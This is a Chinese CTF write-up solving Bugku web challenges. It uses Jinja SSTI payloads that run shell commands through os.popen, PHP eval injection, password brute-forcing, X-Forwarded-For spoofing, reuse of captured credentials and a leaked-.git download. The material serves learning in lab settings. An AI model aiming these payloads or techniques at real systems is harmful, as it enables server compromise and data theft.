根据题目名得知为简单服务器模板注入。
服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。
详情可以参考:SSTI( 服务器模板注入) 以及常见利用方式
服务端模板注入攻击
细说服务器端模板注入(SSTI)
打开环境得知需要传入一个名为 flag 的参数,再 F12 看一下,flag 在 secret_key
下。
flask
:是由 python 实现的一种微 web 框架
SECRET_KEY
:flask 中的一种配置属性,flask 涉及安全的东西需要用 SECRET_KEY 密钥进行加密。
在 url 后面增加 ==/?flag={{config.SECRET_KEY}}== 就行,可以顺利得到 flag 。
打开环境显示如下:
测一下模板注入是否回显:
正常回显,说明存在模板注入漏洞,手工测试一下:
==payload:?flag={ {''.class.mro}}==
__class__
是返回类型所属的对象,==''.class== 这一步就是为了获取字符串的类对象
__mro__
属性会输出当前对象所调用的全部类包括其父类
__subclasses__属性
会输出该类下所有的子类
__base__
返回该对象所继承的基类
__init__
类的初始化方法
__globals__
对包含函数全局变量的字典的引用
ls 查看一下:
| /?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} |
再查看一下 flag 位置:
| ?flag={{ config.__class__.__init__.__globals__['os'].popen('find / -name flag').read() }} |
cat 一下 flag:
| ?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }} |
得到 flag。
==PS:这里介绍一个 SSTl 漏洞的扫描利用工具 tplmap==
详情可以看 https://github.com/epinna/tplmap
根据题目提示是一个文件上传
:
可以看出,写一个脚本上传,就会返回脚本执行结果,但是只能上传.jpg或.png
文件。
| import os |
| os.system('cat /flag') |
上传:
得到 flag
滑稽????
李大铺了属于是。打开环境:
还真是滑稽。。。。F12 看一下:
好家伙,get flag:
打开环境,可以看到:
答案不就是 91 吗?就这?
裂开了,只能输入一个数字。。。。
F12 看到只能输入一个数字,修改一下试试:
nice,搞到 flag 了!
打开环境:
| $what=$_GET['what']; |
| echo $what; |
| if($what=='flag') |
| echo 'flag{****}'; |
代码审计一下,需要 get 发送一个 flag 就行了。
提交 flag 就行了!
打开环境可知:
| $what=$_POST['what']; |
| echo $what; |
| if($what=='flag') |
| echo 'flag{****}'; |
代码审计一下,可知以 POST 方法传递一个 flag 参数就能得到 flag。
借助 hackbar
插件提交 post
参数得到 flag。
打开环境可以看到:
| $num=$_GET['num']; |
| if(!is_numeric($num)) |
| { |
| echo $num; |
| if($num==1) |
| echo 'flag{**********}'; |
| } |
题目要求以 GET 方式提交一个参数,参数不能为数字且为 1,考察的是 php 弱类型,随便构造一个就行了,拼接字符串、公式等都行。
顺利得到 flag。
打开环境:
无法右键,但是 F12
和 Ctrl+U
可以使用。
可以看到源代码:
| <html> |
| <head> |
| <title>BKCTF-WEB6</title> |
| <script language="javascript"> |
| alert("flag就在这里"); |
| alert("来找找吧"); |
| </script> |
| </head> |
| </html> |
很明显最后一段的编码与 flag 有关,使用 Unicode 编码转换 - 站长工具将 Unicode 转 ASCII。
当然也可以直接将编码放到一个 html 文件,用浏览器打开也可以。
打开环境,发现网页不停的在刷新:
查看一下源码:
| <html> |
| <head> |
| <meta charset="utf-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| <meta name="description" content=""> |
| <meta name="author" content=""> |
| <title>Dummy game</title> |
| </head> |
| |
| <script language="JavaScript"> |
| function myrefresh(){ |
| window.location.reload(); |
| } |
| setTimeout('myrefresh()',500); |
| </script> |
| <body> |
| <center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center> |
| <center>Stop at panda ! u will get flag</center> |
| <center><div><img src="12.jpg" /></div></center><br><a style="display:none">flag is here~</a></body> |
| </html> |
打开 burpsuite
,拦包:
发送到重发器:
不断的重发,观察返回:
当 src =“10.jpg”
时,得到 flag,有点拼运气和眼力。
这里有个小插曲,得到 flag 以后记得关掉代理。
打开环境:
啥情况???好在之后打开环境的时候成功了,不然我还以为环境坏掉了。
查看源代码:
| <!DOCTYPE HTML> |
| <html> |
| <head> |
| <title>小bug刷钻官网 - 一件刷钻</title> |
| <meta charset="utf-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"> |
| |
| <meta name="keywords" content="bugku,ctf,刷钻"> |
| |
| <meta name="description" content="国内首屈一指的刷钻软件"> |
| <link rel="stylesheet" href="static/css/main.css"> |
| <noscript><link rel="stylesheet" href="https://csgodouyu.com/assets%09/css/noscript.css"></noscript> |
| </head> |
| <body class="is-preload"> |
| <section id="banner"> |
| <div class="inner"> |
| <div class="logo"><span class="icon fa-gem"></span></div> |
| <h2>小bug刷钻官网</h2> |
| <p>简单易用但功能多样强大的内部辅助<a href="">.</a><br>只为带给您更好的游戏体验。</p> |
| <a href="#goumai" target="_blank" class="special">购买辅助</a> |
| <a href="#" class="special">小号购买</a> |
| <a href="http://wpa.qq.com/msgrd?v=3&uin=123456&site=qq&menu=yes" class="special">联系客服</a> |
| <a href="shiyongjiaocheng.php" class="special">使用教程</a> |
| </div> |
| </section> |
| |
| |
| |
| <section id="wrapper"> |
| |
| |
| </section> |
| |
| <section id="four" class="wrapper alt style1"> |
| <div class="inner"> |
| <h2 class="major" id="goumai">购买辅助/商品介绍</h2> |
| <section class="features"> |
| <article> |
| <a href="#" class="image"><img src="static/picture/1.jpg " alt=""></a> |
| <h3 class="major">刷钻</h3> |
| <p>功能列表:一键刷钻</p> |
| <p>支持系统:Win7 / Win8 / Win10</p> |
| <p>稳定指数:100%</p> |
| <p>注意事项:此网站所有内容为bugku题目环境,仅用于答题。</p> |
| <p>辅助价格:免费</p> |
| <a href="#" class="special">购买辅助</a> |
| <a href="/sz.zip" class="special">下载辅助</a> |
| </article> |
| </section> |
| </div> |
| </section> |
| </section> |
| <ul class="contact"> |
| <li class="icon solid fa-home"> |
| 客服QQ:123456<br> |
| 今日已完成!上架的均稳定奔放! </li> |
| </ul> |
| </section> |
| </div> |
| |
| <script src="static/js/jquery.min.js"></script> |
| <script src="static/js/jquery.scrollex.min.js"></script> |
| <script src="static/js/browser.min.js"></script> |
| <script src="static/js/breakpoints.min.js"></script> |
| <script src="static/js/util.js"></script> |
| <script src="static/js/main.js"></script> |
| |
| <style> |
| .music { |
| position: fixed!important; |
| position: absolute; |
| width: 90px; |
| height: 95px; |
| z-index: 9; |
| right: 0; |
| bottom: 0; |
| top: expression(offsetParent.scrollTop+offsetParent.clientHeight-150); |
| cursor: pointer; |
| } |
| </style> |
| <div id="audio" class="music"> |
| <img src="http://ku.oioweb.cn/img/weimusic1.gif" width="100px" height="100px" id="d" onclick="c();"> |
| </div> |
| </style> |
| |
| <script src="//lib.baomitu.com/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> |
| <script src="https://yzf.qq.com/xv/web/static/chat_sdk/yzf_chat.min.js"></script> |
| </body> |
| </html> |
检查无果,目录扫描一下:
查到了敏感目录,试着输入浏览器看一下,还真有:
可以找到一个辅助软件,下载下来看看有没有什么发现:
打开看一下:
炸裂,弹完窗发现没啥用,害。
没办法了,看师傅们的 wp 才知道需要抓包,没办法了,只能抓包了,抓到如下内容:
==PS:wireshark 抓包前,选项内用 Wi-Fi 的时候就设置成 WLAN,不是 Wi-Fi 就设置成本地,然后打开软件。==
一看就是 base64 编码,解密一下:
这样就得到了账号密码:
账号:bugkuku@163.com
密码:XSLROCPMNWWZQDZL
登录一下看看有没有什么发现:
登录失败了。。。。那试试 foxmail
。
然后就是疯狂的翻找邮件,可惜一无所获。
最终在已删除邮件里找到了账号密码,阿西吧。
| 451806289----WANGJUAN765620 |
拿账号密码登录。。。。。感觉自己被搞了,可恶!!
担心漏掉了,再找一遍,垃圾邮箱里面找到了这个:
这也没用啊,估计是哪个狗贼把删掉了,试试师傅 wp 里面的账号密码:
没啥好说的,就这样吧。。。。进入后台以后:
在网站信息 > 网站设置里面找到了 flag!
成功!!!
最后不忘重新发一份正确的到邮箱草稿里,避免以后的人踩坑!
over!
打开环境,发现是一款游戏,尝试玩一下
差点忘记正事,先看下源码,太长了,它还没给出具体要求,不过一看这题目想通过玩游戏获取 flag 肯定不太显示。
F12 看一下:
也是相当的繁琐,不过看 wp,有的师傅会直接找 sign,不知道是为啥,经验?
我做的时候第一反应只能抓包了,然后把分数设置高点,let's go!
随便玩一下,然后抓包:
发送到重发器内:
将分数设置成了 99999
都失败了,这不符合常理,肯定是有别的验证,重抓一次对比一下:
对比可知,sign
值随着 score
一起变化,在源码内 ctrl+F
检索一下 sign
,发现:
sign 是经历了 base64 编码的,将 sign 在线转码一下发现:
一目了然,sign 的形式就是:==sign="zM"+Base64 (score)+"\=\="==
成功获得 flag!nice!
一看题目,猜测题目和后门有关,搜到一个后门检测工具 findWebshell,突然想试试,打开环境:
这玩意做的太 tm 好看了,爱了爱了,使用工具结果失败了,害。
不慌,那就按部就班做吧!
扫描一下:
快乐就是这么简单?????自然而然
随意试了一下 password
、123456
等弱密码,结果错误。
使用 burpsuit 自带的 Passwords 进行爆破,得到密码:
密码就是:==hack==
得到 flag!
打开环境,可以得到:
查看源码:
下面那一排很长的字符最后:
当然,使用 F12 也可以。
大概率是 Base64 ,在线解密一下:
猜一下,使用 test123
作为密码,admin 作为账号或其他:
多次尝试无果,想到联系本地管理员这句话。。。。抓个包看看!
伪装成本地访问???没有看到 XFF
,那就自己添加一个试试!
正常是这样的:
添加 XFF
以后是这样的:
得到 flag。
打开环境:
看到题目可以猜到密码以 z 开头的且与 top1000 有关,可以想到:
- 密码在 top1000 内,且以 z 开头。
- 密码以 z 开头,且包括 top1000。
先找一下这个 top1000
,在网上到处都可以找得到,找到以后使用 bp 爆破一下,无果:
以 z 开头,尝试仍然无果,猜测可能存在 flag 的返回与正常返回是一样长度的,启用筛选工具:
查到密码就是 ==zxc123==
得到 flag:(直接在返回里面看也可以)
打开环境:
| <?php |
| include "flag.php"; |
| $a = @$_REQUEST['hello']; |
| eval( "var_dump($a);"); |
| show_source(__FILE__); |
| ?> |
- include 包含的文件和本源码在同一路径
- $request 可用与接受 get 和 post 的传递的参数
- eval 函数可以把字符串作为 php 命令执行
- file () 函数把整个文件读入一个数组中。
- ==file_get_contents(path,include_path,context,start,max_length)==
-
代码审计一下,输入 ==/?hello=file ('flag.php')== 获取 flag。
打开环境:
| flag In the variable ! <?php |
| |
| error_reporting(0); |
| include "flag1.php"; |
| highlight_file(__file__); |
| if(isset($_GET['args'])){ |
| $args = $_GET['args']; |
| if(!preg_match("/^\w+$/",$args)){ |
| die("args error!"); |
| } |
| eval("var_dump($$args);"); |
| } |
| ?> |
代码审计一下,看到 flag 在变量里面,且对于 if 里的正则表达式 "/^w+$/"
^
表示开始字符串
$
表示结束字符串
w
表示包含【a-z,A-Z, _ , 0-9】
- `
+
表示一个或者多个 w
最后看到这里有一个 var_dump($$args)
,这是可变变量的意思,如 \$args 的值是另一个变量的变量名。那么 args 就代表另一个变量。
使用全局变量进行尝试构造:==/?args\={}==
PHP 中的许多预定义变量都是 “超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们,这些超全局变量是:
打开环境:
查看一下源码:
| <html> |
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> |
| <pre><br><br><br><br>什么也没有。<br><br> |
| </html> |
还真没有,F12 看一下,练习题目猜测和请求头或返回头有关:
找到 flag。
打开环境,
随便输入一串数字进去:
随便聊下试试:
好家伙,上面有一条空间:
发现他男朋友的 qq 名字小bug
,但是随意输入的 qq 在聊天室内无法更改个人信息,猜想得用真实的 qq 登录,因为登录只需要 qq 号:
然后用他的 qq 登录,得到 flag。
打开环境:
查看源代码:
| <html> |
| <head> |
| <body> |
| <p>Hello,world!<p> |
| <p>This is my friend :</p> |
| |
| </body> |
| </head> |
| </html> |
??????说好的 linux 呢????
flag 里面的大概率是 base64
,解码一下:
| ┌──(kali㉿kali)-[~] |
| └─$ echo Zmxhz19ub3RfaGvyzSEHIQ== | base64 --decode |
| fla�_not_hk��!! |
在线解码也有乱码,这个大概率是假的,另找吧。
F12 看一下,可惜没找到什么有价值的线索,那就 kali linux 扫一下吧。
幸福就是这么突然吗?
真狗啊,还不是。。。那估计就是 git 泄露了,使用 scrabble
,githack
或者直接浏览器搞也可以。
| git reflog |
| git show d256328 |
| git show 13ce8d0 |
| git show fdce35e |
| git show e0b8e8e |
| git show 40c6d51 |
| git show fdce35e |
| git show d256328 |
| git show e0b8e8e |
最终可以找到 flag。
快速复现:
| ┌──(kali㉿kali)-[~/Desktop] |
| └─$ wget -r http://114.67.175.224:14896/.git |
| (省略,太多了) |
| |
| ┌──(kali㉿kali)-[~/Desktop] |
| └─$ ls |
| 114.67.175.224:14896 |
| |
| ┌──(kali㉿kali)-[~/Desktop] |
| └─$ cd 114.67.175.224:14896 |
| |
| ┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896] |
| └─$ git reflog |
| d256328 (HEAD -> master) HEAD@{0}: reset: moving to d25632 |
| 13ce8d0 HEAD@{1}: commit: flag is here? |
| fdce35e HEAD@{2}: reset: moving to fdce35e |
| e0b8e8e HEAD@{3}: reset: moving to e0b8e |
| 40c6d51 HEAD@{4}: commit: flag is here? |
| fdce35e HEAD@{5}: commit: flag is here? |
| d256328 (HEAD -> master) HEAD@{6}: commit: flag is here? |
| e0b8e8e HEAD@{7}: commit (initial): this is index.html |
| |
| ┌──(kali㉿kali)-[~/Desktop/114.67.175.224:14896] |
| └─$ git show 40c6d51 |
| commit 40c6d51b81775a1590c1b051d9562222e41c4741 |
| Author: vFREE <flag@flag.com> |
| Date: Sun Jan 17 20:34:43 2021 +0800 |
| |
| flag is here? |
| |
| diff --git a/flag.txt b/flag.txt |
| index aa6f6dc..726e5d1 100644 |
| --- a/flag.txt |
| +++ b/flag.txt |
| @@ -1 +1 @@ |
| -flag{nonono} |
| +flag{git_is_good_distributed_version_control_system} |